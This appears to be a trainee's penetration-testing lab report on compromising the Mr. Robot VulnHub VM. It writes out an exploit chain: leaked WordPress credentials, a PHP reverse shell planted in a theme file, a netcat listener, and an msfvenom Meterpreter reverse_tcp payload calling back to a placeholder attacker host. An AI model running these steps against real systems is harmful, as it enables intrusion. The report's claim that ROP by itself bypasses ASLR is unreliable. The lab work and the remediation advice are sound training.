Advanced Exploitation Techniques: Exploit Chaining, Custom PoC Analysis, and ASLR Bypass Using ROP

Intern name: Cinchana S
Date: 23-01-2026

Introduction

This report documents the execution of an advanced exploitation lab focused on exploit chaining, custom proof-of-concept (PoC) analysis, and understanding modern defense bypass techniques. The objective was to gain hands-on exposure to real-world attack workflows, including multi-stage exploitation, memory corruption analysis, and mitigation evasion, using industry-standard tools.

Lab Environment

Target Machine:

- VulnHub – *Mr. Robot VM*
- IP Address: 192.168.0.13

Attacker Machine:

- Kali Linux

Tools Used:

- Nmap
- WPScan
- Netcat
- Metasploit Framework
- Exploit-DB
- Ghidra

Task 1 – Advanced Exploitation (Exploit Chaining)

Objective

To demonstrate a **multi-stage exploit chain** leading from initial access to remote code execution (RCE) and privilege escalation.

Exploit Chain Overview

Exploit ID	Description	Target IP	Status	Payload
001	Credential Disclosure → PHP Upload → RCE	192.168.0.13	Success	Reverse Shell / Meterpreter

Step-by-Step Exploit Chain

Stage 1: Reconnaissance

```
nmap -sC -sV -p- 192.168.0.13
```

Identified an HTTP service running WordPress.

Stage 2: Credential Discovery

A misconfigured endpoint exposed credentials:

http://192.168.0.13/license

This revealed valid **WordPress admin credentials**, enabling authenticated access.

Stage 3: Authenticated Access

Logged into WordPress Admin Dashboard using discovered credentials.

Stage 4: Remote Code Execution (RCE)

A PHP reverse shell was uploaded via:

Appearance → Editor → 404.php

Netcat listener started:

```
nc -lnvp 1234
```

Result:

```
uid=1(daemon) gid=1(daemon)
```

This confirms successful RCE.

Stage 5: Metasploit Integration

After initial shell access, Metasploit was used for:

- Session handling
- Post-exploitation enumeration
- Stability and control

Payload Generation Using MSFvenom

After obtaining initial command execution on the target system, a Meterpreter payload was generated using *msfvenom* to improve session stability and enable post-exploitation capabilities.The payload was created in *ELF* format to match the Linux target environment.

Payload Generation Command

```
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<attacker_ip> LPORT=4444 -f elf > shell.elf
```

Listener Configuration:

- use exploit/multi/handler
- set payload linux/x64/meterpreter/reverse_tcp
- set LHOST <attacker_ip>
- set LPORT 4444
- run

Once executed on the target system, the payload successfully established a Meterpreter session.

Impact:

The Meterpreter shell provided enhanced post-exploitation functionality, including process management, privilege enumeration, and improved command execution compared to a basic reverse shell.

Custom PoC – Buffer Overflow Analysis

Objective

To analyze and safely modify an Exploit-DB buffer overflow PoC to demonstrate understanding of memory corruption vulnerabilities.

PoC Analysis

The selected PoC demonstrated:

- Unsafe memory operations
- Stack-based buffer overflow
- Potential control over instruction flow

Typical vulnerable pattern:

char buffer[128];

strcpy(buffer, input);

PoC Modification

The PoC was modified by:

- Adjusting buffer size
- Altering offset values
- Adding documentation and comments

Custom PoC Summary

A Linux local buffer overflow PoC from Exploit-DB was analyzed to understand privilege escalation through memory corruption. The exploit was modified by adjusting buffer size and offset values to demonstrate control over stack execution flow. This validated the vulnerability while maintaining safe, controlled testing conditions.

ROP and ASLR Bypass

Objective

To understand how modern exploits bypass memory protections like ASLR using Return-Oriented Programming (ROP).

ASLR Overview

ASLR randomizes memory addresses, making traditional buffer overflow exploits unreliable by preventing predictable return addresses.

ROP Technique

ROP bypasses ASLR by:

- Reusing existing executable code
- Chaining small instruction sequences (gadgets)
- Avoiding injected shellcode

Role of Ghidra

Ghidra was used to:

- Reverse vulnerable binaries
- Identify unsafe functions
- Locate potential ROP gadgets
- Analyze execution flow and memory layout

This demonstrated how attackers design exploits even without executing them.

ROP Summary

ROP was studied as a technique to bypass ASLR by chaining existing instruction sequences instead of injecting shellcode. Using reverse engineering tools like Ghidra, vulnerable binaries were analyzed to identify reusable gadgets and understand memory flow, demonstrating how modern exploitation techniques evade address randomization defenses.

Remediation Recommendations

- Remove sensitive files exposed via web directories
- Enforce least privilege on WordPress admin accounts
- Disable file editing in WordPress (DISALLOW_FILE_EDIT)
- Keep plugins and CMS updated
- Enable WAF and file integrity monitoring
- Compile binaries with stack canaries and PIE

Conclusion

This engagement demonstrated how multiple low-to-high severity issues can be chained together to achieve full system compromise. The assessment highlighted the importance of secure configuration, defense-in-depth, and proactive vulnerability management. The findings align with real-world penetration testing scenarios and reinforce the need for layered security controls..